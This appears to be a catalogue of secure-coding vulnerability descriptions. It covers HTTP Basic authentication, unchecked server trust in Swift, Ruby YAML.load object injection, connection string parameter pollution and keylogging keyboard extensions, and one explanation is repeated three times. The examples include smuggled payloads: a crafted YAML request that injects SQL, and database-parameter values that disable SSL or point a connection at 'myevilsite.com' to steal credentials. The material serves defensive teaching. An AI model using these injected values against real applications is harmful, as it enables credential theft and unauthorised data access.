Credential theft can result from:
1. Weak encoding scheme used by HTTP Basic specification to encode user credentials. Base64 encoding text can be easily decoded to access the original information.
2. Using HTTP Basic authentication over non secure channel. Attackers can intercept the traffic and access user credentials.

Before creating a server trust credential, it is the responsibility of the delegate of an NSURLConnection object, an NSURLSession object or an NSURLDownload object to evaluate the trust chain.

Example 1: The following code initializes an NSURLCredential using a non-evaluated server trust:

func urlSession(_ session: URLSession, didReceive challenge: URLAuthenticationChallenge, completionHandler: @escaping (URLSession.AuthChallengeDisposition, URLCredential?) -> Void) {
        ... 
        let cred = URLCredential(user: "foo", password: "bar", persistence: .none)
        let trust = challenge.protectionSpace.serverTrust
        let cred = URLCredential(trust:trust!) 
        ... 
}

Object injection vulnerabilities occur when untrusted data is not properly sanitized before being passed to a function that deserializes data such as YAML.load(). Attackers could pass specially crafted serialized strings to a vulnerable YAML.load() call, resulting in arbitrary Ruby objects being injected into the program, as long as the class is loaded into the application at the time of deserialization. This may open up a whole heap of various attack opportunities, such as bypassing validation logic to find cross-site scripting vulnerabilities, allow SQL injection through what appear to be hardcoded values, or even full code execution.

Example 1: The following code shows a Ruby class that creates a SQL query using its attributes that is then queried against the database. There is also an insecure call to YAML.load() with user-supplied data.

...
class Transaction
  attr_accessor :id
  def initialize(num=nil)
    @id = num.is_a?(Numeric) ? num : nil
  end

  def print_details
    unless @id.nil?
      print $conn.query("SELECT * FROM transactions WHERE id=#{@id}")
    end
  end
end

...
user = YAML.load(params[:user]);
user.print_details
...

In Example 1, the application may be expecting a serialized User object, which also happens to have a function called print_details, but an attacker may actually provide a serialized version of a Transaction object with a predefined value for its @id attribute. A request such as the following can thus allow bypassing of the validation check that attempts to make sure @id is a numeric value

GET REQUEST:  http://server/page?user=!ruby%2Fobject%3ATransaction%0Aid%3A4%20or%205%3D5%0A

If we see the decoded version of this, we see that the user parameter is assigned !ruby/object:Transaction\nid:4 or 5=5\n.
Now deserializing the user parameter will create an object of type Transaction, setting @id to "4 or 5=5". When the developer believes they will be calling User#print_details(), they will now be calling Transaction#print_details(), and Ruby's string interpolation will mean the SQL query will be changed to execute the query: SELECT * FROM transactions WHERE id=4 or 5=5. Due to the extra clause that was added, the query evaluates to true and will return everything within the transactions table instead of the single row that was intended from the developer.

Attackers may chain different classes declared when the vulnerable YAML.load() is being called using a technique known as "Property Oriented Programming", which was introduced by Stefan Esser during BlackHat 2010 conference. This technique allows an attacker to reuse existing code to craft its own payload.

Connection String Parameter Pollution (CSPP) attacks consist of injecting connection string parameters into other existing parameters. This vulnerability is similar to vulnerabilities, and perhaps more well known, within HTTP environments where parameter pollution can also occur. However, it also can apply in other places such as database connection strings. If an application does not properly sanitize the user input, a malicious user may compromise the logic of the application to perform attacks from stealing credentials, to retrieving the entire database. By submitting additional parameters that have the same name as an existing parameter to an application, the database might react in one of the following ways:

It might only take the data from the first parameter
It might take the data from the last parameter
It might take the data from all parameters and concatenate them together

This is dependent on the driver used, the database type, or even how APIs are used.


Example 1: The following code uses input from an HTTP request to connect to a database:

    ...
    password := request.FormValue("db_pass")
    db, err := sql.Open("mysql", "user:" + password + "@/dbname")
    ...

In this example, the programmer has not considered that an attacker could provide a db_pass parameter such as:
"xxx@/attackerdb?foo=" then connection string becomes:

"user:xxx@/attackerdb?foo=/dbname"

This will make the application connect to an attacker controller database enabling him to control which data is return to the application.

Connection String Parameter Pollution (CSPP) attacks consist of injecting connection string parameters into other existing parameters. This vulnerability is similar to vulnerabilities, and perhaps more well known, within HTTP environments where parameter pollution can also occur. However, it also can apply in other places such as database connection strings. If an application does not properly sanitize the user input, a malicious user may compromise the logic of the application to perform attacks from stealing credentials, to retrieving the entire database. By submitting additional parameters to an application, and if these parameters have the same name as an existing parameter, the database connection may react in one of the following ways:

It may only take the data from the first parameter
It may take the data from the last parameter
It may take the data from all parameters and concatenate them together

This may be dependent on the driver used, the database type, or even how APIs are used.

Example 1: The following code uses input from an HTTP request to connect to a database:

username = req.field('username')
password = req.field('password')
...
client = MongoClient('mongodb://%s:%s@aMongoDBInstance.com/?ssl=true' % (username, password))
...

In this example, the programmer has not considered that an attacker could provide a password parameter such as:
"myPassword@aMongoDBInstance.com/?ssl=false&" then the connection string becomes (assuming a username "scott"):

"mongodb://scott:myPassword@aMongoDBInstance.com/?ssl=false&@aMongoDBInstance.com/?ssl=true"

This will cause "@aMongoDBInstance.com/?ssl=true" to be treated as an additional invalid argument, effectively ignoring "ssl=true" and connecting to the database with no encryption.

Connection String Parameter Pollution (CSPP) attacks consist of injecting connection string parameters into other existing parameters. This vulnerability is similar to vulnerabilities, and perhaps more well known, within HTTP environments where parameter pollution can also occur. However, it also can apply in other places such as database connection strings. If an application does not properly sanitize the user input, a malicious user may compromise the logic of the application to perform attacks from stealing credentials, to retrieving the entire database. By submitting additional parameters to an application, and if these parameters have the same name as an existing parameter, the database connection may react in one of the following ways:

It may only take the data from the first parameter
It may take the data from the last parameter
It may take the data from all parameters and concatenate them together

This may be dependent on the driver used, the database type, or even how APIs are used.

Example 1: The following code uses input from an HTTP request to connect to a database:

hostname = req.params['host'] #gets POST parameter 'host'
...
conn = PG::Connection.new("connect_timeout=20 dbname=app_development user=#{user} password=#{password} host=#{hostname}")
...

In this example, the programmer has not considered that an attacker could provide a host parameter such as:
"myevilsite.com%20port%3D4444%20sslmode%3Ddisable" then connection string becomes (assuming a username "scott" and password "5up3RS3kR3t"):

"dbname=app_development user=scott password=5up3RS3kR3t host=myevilsite.com port=4444 sslmode=disable"

This will perform a lookup for "myevilsite.com" and connect to this on port 4444, disabling SSL. This would mean the attacker could steal the credentials of the user "scott" and then use this to either perform a man-in-the-middle attack between their machine and the real database, or just login to the real database and perform queries against the database directly.

Keyboard extensions are allowed to read every single keystroke that a user enters. Third-party keyboards are normally used to ease the text input or to add additional emojis and they may log what the user enters or even send it to a remote server for processing. Malicious keyboards can also be distributed to act as a keylogger and read every key entered by the user in order to steal sensitive data such as credentials or credit card numbers.